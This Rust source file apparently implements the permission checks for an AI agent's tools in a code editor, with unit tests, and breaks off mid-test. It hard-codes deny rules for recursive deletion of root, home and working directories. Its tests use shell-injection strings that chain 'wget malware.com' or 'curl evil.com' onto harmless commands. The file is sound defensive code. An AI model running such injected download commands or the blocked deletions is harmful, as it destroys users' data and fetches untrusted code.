1use crate::AgentTool;
2use crate::shell_parser::extract_commands;
3use crate::tools::TerminalTool;
4use agent_settings::{AgentSettings, CompiledRegex, ToolPermissions, ToolRules};
5use settings::ToolPermissionMode;
6use std::sync::LazyLock;
7use util::shell::ShellKind;
8
9const HARDCODED_SECURITY_DENIAL_MESSAGE: &str = "Blocked by built-in security rule. This operation is considered too \
10 harmful to be allowed, and cannot be overridden by settings.";
11
12/// Security rules that are always enforced and cannot be overridden by any setting.
13/// These protect against catastrophic operations like wiping filesystems.
14pub struct HardcodedSecurityRules {
15 pub terminal_deny: Vec<CompiledRegex>,
16}
17
18pub static HARDCODED_SECURITY_RULES: LazyLock<HardcodedSecurityRules> = LazyLock::new(|| {
19 HardcodedSecurityRules {
20 // Case-insensitive; `(-[rf]+\s+)*` handles `-rf`, `-fr`, `-RF`, `-r -f`, etc.
21 terminal_deny: vec![
22 // Recursive deletion of root - "rm -rf /" or "rm -rf / "
23 CompiledRegex::new(r"rm\s+(-[rf]+\s+)*/\s*$", false)
24 .expect("hardcoded regex should compile"),
25 // Recursive deletion of home - "rm -rf ~" or "rm -rf ~/" (but not ~/subdir)
26 CompiledRegex::new(r"rm\s+(-[rf]+\s+)*~/?\s*$", false)
27 .expect("hardcoded regex should compile"),
28 // Recursive deletion of home via $HOME - "rm -rf $HOME" or "rm -rf ${HOME}"
29 CompiledRegex::new(r"rm\s+(-[rf]+\s+)*(\$HOME|\$\{HOME\})/?\s*$", false)
30 .expect("hardcoded regex should compile"),
31 // Recursive deletion of current directory - "rm -rf ." or "rm -rf ./"
32 CompiledRegex::new(r"rm\s+(-[rf]+\s+)*\./?\s*$", false)
33 .expect("hardcoded regex should compile"),
34 // Recursive deletion of parent directory - "rm -rf .." or "rm -rf ../"
35 CompiledRegex::new(r"rm\s+(-[rf]+\s+)*\.\./?\s*$", false)
36 .expect("hardcoded regex should compile"),
37 ],
38 }
39});
40
41/// Checks if input matches any hardcoded security rules that cannot be bypassed.
42/// Returns a Deny decision if blocked, None otherwise.
43fn check_hardcoded_security_rules(
44 tool_name: &str,
45 input: &str,
46 shell_kind: ShellKind,
47) -> Option<ToolPermissionDecision> {
48 // Currently only terminal tool has hardcoded rules
49 if tool_name != TerminalTool::NAME {
50 return None;
51 }
52
53 let rules = &*HARDCODED_SECURITY_RULES;
54 let terminal_patterns = &rules.terminal_deny;
55
56 // First: check the original input as-is
57 for pattern in terminal_patterns {
58 if pattern.is_match(input) {
59 return Some(ToolPermissionDecision::Deny(
60 HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
61 ));
62 }
63 }
64
65 // Second: parse and check individual sub-commands (for chained commands)
66 if shell_kind.supports_posix_chaining() {
67 if let Some(commands) = extract_commands(input) {
68 for command in &commands {
69 for pattern in terminal_patterns {
70 if pattern.is_match(command) {
71 return Some(ToolPermissionDecision::Deny(
72 HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
73 ));
74 }
75 }
76 }
77 }
78 }
79
80 None
81}
82
83#[derive(Debug, Clone, PartialEq, Eq)]
84pub enum ToolPermissionDecision {
85 Allow,
86 Deny(String),
87 Confirm,
88}
89
90impl ToolPermissionDecision {
91 /// Determines the permission decision for a tool invocation based on configured rules.
92 ///
93 /// # Precedence Order (highest to lowest)
94 ///
95 /// 1. **`always_allow_tool_actions`** - When enabled, allows all tool actions without
96 /// prompting. This global setting bypasses all other checks including deny patterns.
97 /// Use with caution as it disables all security rules.
98 /// 2. **`always_deny`** - If any deny pattern matches, the tool call is blocked immediately.
99 /// This takes precedence over `always_confirm` and `always_allow` patterns.
100 /// 3. **`always_confirm`** - If any confirm pattern matches (and no deny matched),
101 /// the user is prompted for confirmation.
102 /// 4. **`always_allow`** - If any allow pattern matches (and no deny/confirm matched),
103 /// the tool call proceeds without prompting.
104 /// 5. **`default_mode`** - If no patterns match, falls back to the tool's default mode.
105 ///
106 /// # Shell Compatibility (Terminal Tool Only)
107 ///
108 /// For the terminal tool, commands are parsed to extract sub-commands for security.
109 /// This parsing only works for shells with POSIX-like `&&` / `||` / `;` / `|` syntax:
110 ///
111 /// **Compatible shells:** Posix (sh, bash, dash, zsh), Fish 3.0+, PowerShell 7+/Pwsh,
112 /// Cmd, Xonsh, Csh, Tcsh
113 ///
114 /// **Incompatible shells:** Nushell, Elvish, Rc (Plan 9)
115 ///
116 /// For incompatible shells, `always_allow` patterns are disabled for safety.
117 ///
118 /// # Pattern Matching Tips
119 ///
120 /// Patterns are matched as regular expressions against the tool input (e.g., the command
121 /// string for the terminal tool). Some tips for writing effective patterns:
122 ///
123 /// - Use word boundaries (`\b`) to avoid partial matches. For example, pattern `rm` will
124 /// match "storm" and "arms", but `\brm\b` will only match the standalone word "rm".
125 /// This is important for security rules where you want to block specific commands
126 /// without accidentally blocking unrelated commands that happen to contain the same
127 /// substring.
128 /// - Patterns are case-insensitive by default. Set `case_sensitive: true` for exact matching.
129 /// - Use `^` and `$` anchors to match the start/end of the input.
130 pub fn from_input(
131 tool_name: &str,
132 input: &str,
133 permissions: &ToolPermissions,
134 always_allow_tool_actions: bool,
135 shell_kind: ShellKind,
136 ) -> ToolPermissionDecision {
137 // First, check hardcoded security rules, such as banning `rm -rf /` in terminal tool.
138 // These cannot be bypassed by any user settings.
139 if let Some(denial) = check_hardcoded_security_rules(tool_name, input, shell_kind) {
140 return denial;
141 }
142
143 // If always_allow_tool_actions is enabled, bypass user-configured permission checks.
144 // Note: This no longer bypasses hardcoded security rules (checked above).
145 if always_allow_tool_actions {
146 return ToolPermissionDecision::Allow;
147 }
148
149 let rules = match permissions.tools.get(tool_name) {
150 Some(rules) => rules,
151 None => {
152 return ToolPermissionDecision::Confirm;
153 }
154 };
155
156 // Check for invalid regex patterns before evaluating rules.
157 // If any patterns failed to compile, block the tool call entirely.
158 if let Some(error) = check_invalid_patterns(tool_name, rules) {
159 return ToolPermissionDecision::Deny(error);
160 }
161
162 // For the terminal tool, parse the command to extract all sub-commands.
163 // This prevents shell injection attacks where a user configures an allow
164 // pattern like "^ls" and an attacker crafts "ls && rm -rf /".
165 //
166 // If parsing fails or the shell syntax is unsupported, always_allow is
167 // disabled for this command (we set allow_enabled to false to signal this).
168 if tool_name == TerminalTool::NAME {
169 // Our shell parser (brush-parser) only supports POSIX-like shell syntax.
170 // See the doc comment above for the list of compatible/incompatible shells.
171 if !shell_kind.supports_posix_chaining() {
172 // For shells with incompatible syntax, we can't reliably parse
173 // the command to extract sub-commands.
174 if !rules.always_allow.is_empty() {
175 // If the user has configured always_allow patterns, we must deny
176 // because we can't safely verify the command doesn't contain
177 // hidden sub-commands that bypass the allow patterns.
178 return ToolPermissionDecision::Deny(format!(
179 "The {} shell does not support \"always allow\" patterns for the terminal \
180 tool because Zed cannot parse its command chaining syntax. Please remove \
181 the always_allow patterns from your tool_permissions settings, or switch \
182 to a POSIX-conforming shell.",
183 shell_kind
184 ));
185 }
186 // No always_allow rules, so we can still check deny/confirm patterns.
187 return check_commands(std::iter::once(input.to_string()), rules, tool_name, false);
188 }
189
190 match extract_commands(input) {
191 Some(commands) => check_commands(commands, rules, tool_name, true),
192 None => {
193 // The command failed to parse, so we check to see if we should auto-deny
194 // or auto-confirm; if neither auto-deny nor auto-confirm applies here,
195 // fall back on the default (based on the user's settings, which is Confirm
196 // if not specified otherwise). Ignore "always allow" when it failed to parse.
197 check_commands(std::iter::once(input.to_string()), rules, tool_name, false)
198 }
199 }
200 } else {
201 check_commands(std::iter::once(input.to_string()), rules, tool_name, true)
202 }
203 }
204}
205
206/// Evaluates permission rules against a set of commands.
207///
208/// This function performs a single pass through all commands with the following logic:
209/// - **DENY**: If ANY command matches a deny pattern, deny immediately (short-circuit)
210/// - **CONFIRM**: Track if ANY command matches a confirm pattern
211/// - **ALLOW**: Track if ALL commands match at least one allow pattern
212///
213/// The `allow_enabled` flag controls whether allow patterns are checked. This is set
214/// to `false` when we can't reliably parse shell commands (e.g., parse failures or
215/// unsupported shell syntax), ensuring we don't auto-allow potentially dangerous commands.
216fn check_commands(
217 commands: impl IntoIterator<Item = String>,
218 rules: &ToolRules,
219 tool_name: &str,
220 allow_enabled: bool,
221) -> ToolPermissionDecision {
222 // Single pass through all commands:
223 // - DENY: If ANY command matches a deny pattern, deny immediately (short-circuit)
224 // - CONFIRM: Track if ANY command matches a confirm pattern
225 // - ALLOW: Track if ALL commands match at least one allow pattern
226 let mut any_matched_confirm = false;
227 let mut all_matched_allow = true;
228 let mut had_any_commands = false;
229
230 for command in commands {
231 had_any_commands = true;
232
233 // DENY: immediate return if any command matches a deny pattern
234 if rules.always_deny.iter().any(|r| r.is_match(&command)) {
235 return ToolPermissionDecision::Deny(format!(
236 "Command blocked by security rule for {} tool",
237 tool_name
238 ));
239 }
240
241 // CONFIRM: remember if any command matches a confirm pattern
242 if rules.always_confirm.iter().any(|r| r.is_match(&command)) {
243 any_matched_confirm = true;
244 }
245
246 // ALLOW: track if all commands match at least one allow pattern
247 if !rules.always_allow.iter().any(|r| r.is_match(&command)) {
248 all_matched_allow = false;
249 }
250 }
251
252 // After processing all commands, check accumulated state
253 if any_matched_confirm {
254 return ToolPermissionDecision::Confirm;
255 }
256
257 if allow_enabled && all_matched_allow && had_any_commands {
258 return ToolPermissionDecision::Allow;
259 }
260
261 match rules.default_mode {
262 ToolPermissionMode::Deny => {
263 ToolPermissionDecision::Deny(format!("{} tool is disabled", tool_name))
264 }
265 ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
266 ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
267 }
268}
269
270/// Checks if the tool rules contain any invalid regex patterns.
271/// Returns an error message if invalid patterns are found.
272fn check_invalid_patterns(tool_name: &str, rules: &ToolRules) -> Option<String> {
273 if rules.invalid_patterns.is_empty() {
274 return None;
275 }
276
277 let count = rules.invalid_patterns.len();
278 let pattern_word = if count == 1 { "pattern" } else { "patterns" };
279
280 Some(format!(
281 "The {} tool cannot run because {} regex {} failed to compile. \
282 Please fix the invalid patterns in your tool_permissions settings.",
283 tool_name, count, pattern_word
284 ))
285}
286
287/// Convenience wrapper that extracts permission settings from `AgentSettings`.
288///
289/// This is the primary entry point for tools to check permissions. It extracts
290/// `tool_permissions` and `always_allow_tool_actions` from the settings and
291/// delegates to [`ToolPermissionDecision::from_input`], using the system shell.
292pub fn decide_permission_from_settings(
293 tool_name: &str,
294 input: &str,
295 settings: &AgentSettings,
296) -> ToolPermissionDecision {
297 ToolPermissionDecision::from_input(
298 tool_name,
299 input,
300 &settings.tool_permissions,
301 settings.always_allow_tool_actions,
302 ShellKind::system(),
303 )
304}
305
306#[cfg(test)]
307mod tests {
308 use super::*;
309 use crate::AgentTool;
310 use crate::pattern_extraction::extract_terminal_pattern;
311 use crate::tools::{EditFileTool, TerminalTool};
312 use agent_settings::{CompiledRegex, InvalidRegexPattern, ToolRules};
313 use std::sync::Arc;
314
315 fn pattern(command: &str) -> &'static str {
316 Box::leak(
317 extract_terminal_pattern(command)
318 .expect("failed to extract pattern")
319 .into_boxed_str(),
320 )
321 }
322
323 struct PermTest {
324 tool: &'static str,
325 input: &'static str,
326 mode: ToolPermissionMode,
327 allow: Vec<(&'static str, bool)>,
328 deny: Vec<(&'static str, bool)>,
329 confirm: Vec<(&'static str, bool)>,
330 global: bool,
331 shell: ShellKind,
332 }
333
334 impl PermTest {
335 fn new(input: &'static str) -> Self {
336 Self {
337 tool: TerminalTool::NAME,
338 input,
339 mode: ToolPermissionMode::Confirm,
340 allow: vec![],
341 deny: vec![],
342 confirm: vec![],
343 global: false,
344 shell: ShellKind::Posix,
345 }
346 }
347
348 fn tool(mut self, t: &'static str) -> Self {
349 self.tool = t;
350 self
351 }
352 fn mode(mut self, m: ToolPermissionMode) -> Self {
353 self.mode = m;
354 self
355 }
356 fn allow(mut self, p: &[&'static str]) -> Self {
357 self.allow = p.iter().map(|s| (*s, false)).collect();
358 self
359 }
360 fn allow_case_sensitive(mut self, p: &[&'static str]) -> Self {
361 self.allow = p.iter().map(|s| (*s, true)).collect();
362 self
363 }
364 fn deny(mut self, p: &[&'static str]) -> Self {
365 self.deny = p.iter().map(|s| (*s, false)).collect();
366 self
367 }
368 fn deny_case_sensitive(mut self, p: &[&'static str]) -> Self {
369 self.deny = p.iter().map(|s| (*s, true)).collect();
370 self
371 }
372 fn confirm(mut self, p: &[&'static str]) -> Self {
373 self.confirm = p.iter().map(|s| (*s, false)).collect();
374 self
375 }
376 fn global(mut self, g: bool) -> Self {
377 self.global = g;
378 self
379 }
380 fn shell(mut self, s: ShellKind) -> Self {
381 self.shell = s;
382 self
383 }
384
385 fn is_allow(self) {
386 assert_eq!(
387 self.run(),
388 ToolPermissionDecision::Allow,
389 "expected Allow for '{}'",
390 self.input
391 );
392 }
393 fn is_deny(self) {
394 assert!(
395 matches!(self.run(), ToolPermissionDecision::Deny(_)),
396 "expected Deny for '{}'",
397 self.input
398 );
399 }
400 fn is_confirm(self) {
401 assert_eq!(
402 self.run(),
403 ToolPermissionDecision::Confirm,
404 "expected Confirm for '{}'",
405 self.input
406 );
407 }
408
409 fn run(&self) -> ToolPermissionDecision {
410 let mut tools = collections::HashMap::default();
411 tools.insert(
412 Arc::from(self.tool),
413 ToolRules {
414 default_mode: self.mode,
415 always_allow: self
416 .allow
417 .iter()
418 .filter_map(|(p, cs)| CompiledRegex::new(p, *cs))
419 .collect(),
420 always_deny: self
421 .deny
422 .iter()
423 .filter_map(|(p, cs)| CompiledRegex::new(p, *cs))
424 .collect(),
425 always_confirm: self
426 .confirm
427 .iter()
428 .filter_map(|(p, cs)| CompiledRegex::new(p, *cs))
429 .collect(),
430 invalid_patterns: vec![],
431 },
432 );
433 ToolPermissionDecision::from_input(
434 self.tool,
435 self.input,
436 &ToolPermissions { tools },
437 self.global,
438 self.shell,
439 )
440 }
441 }
442
443 fn t(input: &'static str) -> PermTest {
444 PermTest::new(input)
445 }
446
447 fn no_rules(input: &str, global: bool) -> ToolPermissionDecision {
448 ToolPermissionDecision::from_input(
449 TerminalTool::NAME,
450 input,
451 &ToolPermissions {
452 tools: collections::HashMap::default(),
453 },
454 global,
455 ShellKind::Posix,
456 )
457 }
458
459 // allow pattern matches
460 #[test]
461 fn allow_exact_match() {
462 t("cargo test").allow(&[pattern("cargo")]).is_allow();
463 }
464 #[test]
465 fn allow_one_of_many_patterns() {
466 t("npm install")
467 .allow(&[pattern("cargo"), pattern("npm")])
468 .is_allow();
469 t("git status")
470 .allow(&[pattern("cargo"), pattern("npm"), pattern("git")])
471 .is_allow();
472 }
473 #[test]
474 fn allow_middle_pattern() {
475 t("run cargo now").allow(&["cargo"]).is_allow();
476 }
477 #[test]
478 fn allow_anchor_prevents_middle() {
479 t("run cargo now").allow(&["^cargo"]).is_confirm();
480 }
481
482 // allow pattern doesn't match -> falls through
483 #[test]
484 fn allow_no_match_confirms() {
485 t("python x.py").allow(&[pattern("cargo")]).is_confirm();
486 }
487 #[test]
488 fn allow_no_match_global_allows() {
489 t("python x.py")
490 .allow(&[pattern("cargo")])
491 .global(true)
492 .is_allow();
493 }
494
495 // deny pattern matches (using commands that aren't blocked by hardcoded rules)
496 #[test]
497 fn deny_blocks() {
498 t("rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
499 }
500 #[test]
501 fn global_bypasses_user_deny() {
502 // always_allow_tool_actions bypasses user-configured deny rules
503 t("rm -rf ./temp")
504 .deny(&["rm\\s+-rf"])
505 .global(true)
506 .is_allow();
507 }
508 #[test]
509 fn deny_blocks_with_mode_allow() {
510 t("rm -rf ./temp")
511 .deny(&["rm\\s+-rf"])
512 .mode(ToolPermissionMode::Allow)
513 .is_deny();
514 }
515 #[test]
516 fn deny_middle_match() {
517 t("echo rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
518 }
519 #[test]
520 fn deny_no_match_falls_through() {
521 t("ls -la")
522 .deny(&["rm\\s+-rf"])
523 .mode(ToolPermissionMode::Allow)
524 .is_allow();
525 }
526
527 // confirm pattern matches
528 #[test]
529 fn confirm_requires_confirm() {
530 t("sudo apt install")
531 .confirm(&[pattern("sudo")])
532 .is_confirm();
533 }
534 #[test]
535 fn global_overrides_confirm() {
536 t("sudo reboot")
537 .confirm(&[pattern("sudo")])
538 .global(true)
539 .is_allow();
540 }
541 #[test]
542 fn confirm_overrides_mode_allow() {
543 t("sudo x")
544 .confirm(&["sudo"])
545 .mode(ToolPermissionMode::Allow)
546 .is_confirm();
547 }
548
549 // confirm beats allow
550 #[test]
551 fn confirm_beats_allow() {
552 t("git push --force")
553 .allow(&[pattern("git")])
554 .confirm(&["--force"])
555 .is_confirm();
556 }
557 #[test]
558 fn confirm_beats_allow_overlap() {
559 t("deploy prod")
560 .allow(&["deploy"])
561 .confirm(&["prod"])
562 .is_confirm();
563 }
564 #[test]
565 fn allow_when_confirm_no_match() {
566 t("git status")
567 .allow(&[pattern("git")])
568 .confirm(&["--force"])
569 .is_allow();
570 }
571
572 // deny beats allow
573 #[test]
574 fn deny_beats_allow() {
575 t("rm -rf ./tmp/x")
576 .allow(&["/tmp/"])
577 .deny(&["rm\\s+-rf"])
578 .is_deny();
579 }
580
581 #[test]
582 fn deny_beats_confirm() {
583 t("sudo rm -rf ./temp")
584 .confirm(&["sudo"])
585 .deny(&["rm\\s+-rf"])
586 .is_deny();
587 }
588
589 // deny beats everything
590 #[test]
591 fn deny_beats_all() {
592 t("bad cmd")
593 .allow(&["cmd"])
594 .confirm(&["cmd"])
595 .deny(&["bad"])
596 .is_deny();
597 }
598
599 // no patterns -> default_mode
600 #[test]
601 fn default_confirm() {
602 t("python x.py")
603 .mode(ToolPermissionMode::Confirm)
604 .is_confirm();
605 }
606 #[test]
607 fn default_allow() {
608 t("python x.py").mode(ToolPermissionMode::Allow).is_allow();
609 }
610 #[test]
611 fn default_deny() {
612 t("python x.py").mode(ToolPermissionMode::Deny).is_deny();
613 }
614 #[test]
615 fn default_deny_global_true() {
616 t("python x.py")
617 .mode(ToolPermissionMode::Deny)
618 .global(true)
619 .is_allow();
620 }
621
622 #[test]
623 fn default_confirm_global_true() {
624 t("x")
625 .mode(ToolPermissionMode::Confirm)
626 .global(true)
627 .is_allow();
628 }
629
630 #[test]
631 fn no_rules_confirms_by_default() {
632 assert_eq!(no_rules("x", false), ToolPermissionDecision::Confirm);
633 }
634
635 #[test]
636 fn empty_input_no_match() {
637 t("")
638 .deny(&["rm"])
639 .mode(ToolPermissionMode::Allow)
640 .is_allow();
641 }
642
643 #[test]
644 fn empty_input_with_allow_falls_to_default() {
645 t("").allow(&["^ls"]).is_confirm();
646 }
647
648 #[test]
649 fn multi_deny_any_match() {
650 t("rm x").deny(&["rm", "del", "drop"]).is_deny();
651 t("drop x").deny(&["rm", "del", "drop"]).is_deny();
652 }
653
654 #[test]
655 fn multi_allow_any_match() {
656 t("cargo x").allow(&["^cargo", "^npm", "^git"]).is_allow();
657 }
658 #[test]
659 fn multi_none_match() {
660 t("python x")
661 .allow(&["^cargo", "^npm"])
662 .deny(&["rm"])
663 .is_confirm();
664 }
665
666 // tool isolation
667 #[test]
668 fn other_tool_not_affected() {
669 let mut tools = collections::HashMap::default();
670 tools.insert(
671 Arc::from(TerminalTool::NAME),
672 ToolRules {
673 default_mode: ToolPermissionMode::Deny,
674 always_allow: vec![],
675 always_deny: vec![],
676 always_confirm: vec![],
677 invalid_patterns: vec![],
678 },
679 );
680 tools.insert(
681 Arc::from(EditFileTool::NAME),
682 ToolRules {
683 default_mode: ToolPermissionMode::Allow,
684 always_allow: vec![],
685 always_deny: vec![],
686 always_confirm: vec![],
687 invalid_patterns: vec![],
688 },
689 );
690 let p = ToolPermissions { tools };
691 // With always_allow_tool_actions=true, even default_mode: Deny is overridden
692 assert_eq!(
693 ToolPermissionDecision::from_input(TerminalTool::NAME, "x", &p, true, ShellKind::Posix),
694 ToolPermissionDecision::Allow
695 );
696 // With always_allow_tool_actions=false, default_mode: Deny is respected
697 assert!(matches!(
698 ToolPermissionDecision::from_input(
699 TerminalTool::NAME,
700 "x",
701 &p,
702 false,
703 ShellKind::Posix
704 ),
705 ToolPermissionDecision::Deny(_)
706 ));
707 assert_eq!(
708 ToolPermissionDecision::from_input(
709 EditFileTool::NAME,
710 "x",
711 &p,
712 false,
713 ShellKind::Posix
714 ),
715 ToolPermissionDecision::Allow
716 );
717 }
718
719 #[test]
720 fn partial_tool_name_no_match() {
721 let mut tools = collections::HashMap::default();
722 tools.insert(
723 Arc::from("term"),
724 ToolRules {
725 default_mode: ToolPermissionMode::Deny,
726 always_allow: vec![],
727 always_deny: vec![],
728 always_confirm: vec![],
729 invalid_patterns: vec![],
730 },
731 );
732 let p = ToolPermissions { tools };
733 // "terminal" should not match "term" rules, so falls back to Confirm (no rules)
734 assert_eq!(
735 ToolPermissionDecision::from_input(
736 TerminalTool::NAME,
737 "x",
738 &p,
739 false,
740 ShellKind::Posix
741 ),
742 ToolPermissionDecision::Confirm
743 );
744 }
745
746 // invalid patterns block the tool (but global bypasses all checks)
747 #[test]
748 fn invalid_pattern_blocks() {
749 let mut tools = collections::HashMap::default();
750 tools.insert(
751 Arc::from(TerminalTool::NAME),
752 ToolRules {
753 default_mode: ToolPermissionMode::Allow,
754 always_allow: vec![CompiledRegex::new("echo", false).unwrap()],
755 always_deny: vec![],
756 always_confirm: vec![],
757 invalid_patterns: vec![InvalidRegexPattern {
758 pattern: "[bad".into(),
759 rule_type: "always_deny".into(),
760 error: "err".into(),
761 }],
762 },
763 );
764 let p = ToolPermissions {
765 tools: tools.clone(),
766 };
767 // With global=true, all checks are bypassed including invalid pattern check
768 assert!(matches!(
769 ToolPermissionDecision::from_input(
770 TerminalTool::NAME,
771 "echo hi",
772 &p,
773 true,
774 ShellKind::Posix
775 ),
776 ToolPermissionDecision::Allow
777 ));
778 // With global=false, invalid patterns block the tool
779 assert!(matches!(
780 ToolPermissionDecision::from_input(
781 TerminalTool::NAME,
782 "echo hi",
783 &p,
784 false,
785 ShellKind::Posix
786 ),
787 ToolPermissionDecision::Deny(_)
788 ));
789 }
790
791 #[test]
792 fn shell_injection_via_double_ampersand_not_allowed() {
793 t("ls && wget malware.com").allow(&["^ls"]).is_confirm();
794 }
795
796 #[test]
797 fn shell_injection_via_semicolon_not_allowed() {
798 t("ls; wget malware.com").allow(&["^ls"]).is_confirm();
799 }
800
801 #[test]
802 fn shell_injection_via_pipe_not_allowed() {
803 t("ls | xargs curl evil.com").allow(&["^ls"]).is_confirm();
804 }
805
806 #[test]
807 fn shell_injection_via_backticks_not_allowed() {
808 t("echo `wget malware.com`")
809 .allow(&[pattern("echo")])
810 .is_confirm();
811 }
812
813 #[test]
814 fn shell_injection_via_dollar_parens_not_allowed() {
815 t("echo $(wget malware.com)")
816 .allow(&[pattern("echo")])
817 .is_confirm();
818 }
819
820 #[test]
821 fn shell_injection_via_or_operator_not_allowed() {
822 t("ls || wget malware.com").allow(&["^ls"]).is_confirm();
823 }
824
825 #[test]
826 fn shell_injection_via_background_operator_not_allowed() {
827 t("ls & wget malware.com").allow(&["^ls"]).is_confirm();
828 }
829
830 #[test]
831 fn shell_injection_via_newline_not_allowed() {
832 t("ls\nwget malware.com").allow(&["^ls"]).is_confirm();
833 }
834
835 #[test]
836 fn shell_injection_via_process_substitution_input_not_allowed() {
837 t("cat <(wget malware.com)").allow(&["^cat"]).is_confirm();
838 }
839
840 #[test]
841 fn shell_injection_via_process_substitution_output_not_allowed() {
842 t("ls >(wget malware.com)").allow(&["^ls"]).is_confirm();
843 }
844
845 #[test]
846 fn shell_injection_without_spaces_not_allowed() {
847 t("ls&&wget malware.com").allow(&["^ls"]).is_confirm();
848 t("ls;wget malware.com").allow(&["^ls"]).is_confirm();
849 }
850
851 #[test]
852 fn shell_injection_multiple_chained_operators_not_allowed() {
853 t("ls && echo hello && wget malware.com")
854 .allow(&["^ls"])
855 .is_confirm();
856 }
857
858 #[test]
859 fn shell_injection_mixed_operators_not_allowed() {
860 t("ls; echo hello && wget malware.com")
861 .allow(&["^ls"])
862 .is_confirm();
863 }
864
865 #[test]
866 fn shell_injection_pipe_stderr_not_allowed() {
867 t("ls |& wget malware.com").allow(&["^ls"]).is_confirm();
868 }
869
870 #[test]
871 fn allow_requires_all_commands_to_match() {
872 t("ls && echo hello").allow(&["^ls", "^echo"]).is_allow();
873 }
874
875 #[test]
876 fn deny_triggers_on_any_matching_command() {
877 t("ls && rm file").allow(&["^ls"]).deny(&["^rm"]).is_deny();
878 }
879
880 #[test]
881 fn deny_catches_injected_command() {
882 t("ls && rm -rf ./temp")
883 .allow(&["^ls"])
884 .deny(&["^rm"])
885 .is_deny();
886 }
887
888 #[test]
889 fn confirm_triggers_on_any_matching_command() {
890 t("ls && sudo reboot")
891 .allow(&["^ls"])
892 .confirm(&["^sudo"])
893 .is_confirm();
894 }
895
896 #[test]
897 fn always_allow_button_works_end_to_end() {
898 // This test verifies that the "Always Allow" button behavior works correctly:
899 // 1. User runs a command like "cargo build"
900 // 2. They click "Always Allow for `cargo` commands"
901 // 3. The pattern extracted from that command should match future cargo commands
902 let original_command = "cargo build --release";
903 let extracted_pattern = pattern(original_command);
904
905 // The extracted pattern should allow the original command
906 t(original_command).allow(&[extracted_pattern]).is_allow();
907
908 // It should also allow other commands with the same base command
909 t("cargo test").allow(&[extracted_pattern]).is_allow();
910 t("cargo fmt").allow(&[extracted_pattern]).is_allow();
911
912 // But not commands with different base commands
913 t("npm install").allow(&[extracted_pattern]).is_confirm();
914
915 // And it should work with subcommand extraction (chained commands)
916 t("cargo build && cargo test")
917 .allow(&[extracted_pattern])
918 .is_allow();
919
920 // But reject if any subcommand doesn't match
921 t("cargo build && npm install")
922 .allow(&[extracted_pattern])
923 .is_confirm();
924 }
925
926 #[test]
927 fn nested_command_substitution_all_checked() {
928 t("echo $(cat $(whoami).txt)")
929 .allow(&["^echo", "^cat", "^whoami"])
930 .is_allow();
931 }
932
933 #[test]
934 fn parse_failure_falls_back_to_confirm() {
935 t("ls &&").allow(&["^ls$"]).is_confirm();
936 }
937
938 #[test]
939 fn mcp_tool_default_modes() {
940 t("")
941 .tool("mcp:fs:read")
942 .mode(ToolPermissionMode::Allow)
943 .is_allow();
944 t("")
945 .tool("mcp:bad:del")
946 .mode(ToolPermissionMode::Deny)
947 .is_deny();
948 t("")
949 .tool("mcp:gh:issue")
950 .mode(ToolPermissionMode::Confirm)
951 .is_confirm();
952 t("")
953 .tool("mcp:gh:issue")
954 .mode(ToolPermissionMode::Confirm)
955 .global(true)
956 .is_allow();
957 }
958
959 #[test]
960 fn mcp_doesnt_collide_with_builtin() {
961 let mut tools = collections::HashMap::default();
962 tools.insert(
963 Arc::from(TerminalTool::NAME),
964 ToolRules {
965 default_mode: ToolPermissionMode::Deny,
966 always_allow: vec![],
967 always_deny: vec![],
968 always_confirm: vec![],
969 invalid_patterns: vec![],
970 },
971 );
972 tools.insert(
973 Arc::from("mcp:srv:terminal"),
974 ToolRules {
975 default_mode: ToolPermissionMode::Allow,
976 always_allow: vec![],
977 always_deny: vec![],
978 always_confirm: vec![],
979 invalid_patterns: vec![],
980 },
981 );
982 let p = ToolPermissions { tools };
983 assert!(matches!(
984 ToolPermissionDecision::from_input(
985 TerminalTool::NAME,
986 "x",
987 &p,
988 false,
989 ShellKind::Posix
990 ),
991 ToolPermissionDecision::Deny(_)
992 ));
993 assert_eq!(
994 ToolPermissionDecision::from_input(
995 "mcp:srv:terminal",
996 "x",
997 &p,
998 false,
999 ShellKind::Posix
1000 ),
1001 ToolPermissionDecision::Allow
1002 );
1003 }
1004
1005 #[test]
1006 fn case_insensitive_by_default() {
1007 t("CARGO TEST").allow(&[pattern("cargo")]).is_allow();
1008 t("Cargo Test").allow(&[pattern("cargo")]).is_allow();
1009 }
1010
1011 #[test]
1012 fn case_sensitive_allow() {
1013 t("cargo test")
1014 .allow_case_sensitive(&[pattern("cargo")])
1015 .is_allow();
1016 t("CARGO TEST")
1017 .allow_case_sensitive(&[pattern("cargo")])
1018 .is_confirm();
1019 }
1020
1021 #[test]
1022 fn case_sensitive_deny() {
1023 t("rm -rf ./temp")
1024 .deny_case_sensitive(&[pattern("rm")])
1025 .is_deny();
1026 t("RM -RF ./temp")
1027 .deny_case_sensitive(&[pattern("rm")])
1028 .mode(ToolPermissionMode::Allow)
1029 .is_allow();
1030 }
1031
1032 #[test]
1033 fn nushell_allows_with_allow_pattern() {
1034 t("ls").allow(&["^ls"]).shell(ShellKind::Nushell).is_allow();
1035 }
1036
1037 #[test]
1038 fn nushell_allows_deny_patterns() {
1039 t("rm -rf ./temp")
1040 .deny(&["rm\\s+-rf"])
1041 .shell(ShellKind::Nushell)
1042 .is_deny();
1043 }
1044
1045 #[test]
1046 fn nushell_allows_confirm_patterns() {
1047 t("sudo reboot")
1048 .confirm(&["sudo"])
1049 .shell(ShellKind::Nushell)
1050 .is_confirm();
1051 }
1052
1053 #[test]
1054 fn nushell_no_allow_patterns_uses_default() {
1055 t("ls")
1056 .deny(&["rm"])
1057 .mode(ToolPermissionMode::Allow)
1058 .shell(ShellKind::Nushell)
1059 .is_allow();
1060 }
1061
1062 #[test]
1063 fn elvish_allows_with_allow_pattern() {
1064 t("ls").allow(&["^ls"]).shell(ShellKind::Elvish).is_allow();
1065 }
1066
1067 #[test]
1068 fn rc_allows_with_allow_pattern() {
1069 t("ls").allow(&["^ls"]).shell(ShellKind::Rc).is_allow();
1070 }
1071
1072 #[test]
1073 fn multiple_invalid_patterns_pluralizes_message() {
1074 let mut tools = collections::HashMap::default();
1075 tools.insert(
1076 Arc::from(TerminalTool::NAME),
1077 ToolRules {
1078 default_mode: ToolPermissionMode::Allow,
1079 always_allow: vec![],
1080 always_deny: vec![],
1081 always_confirm: vec![],
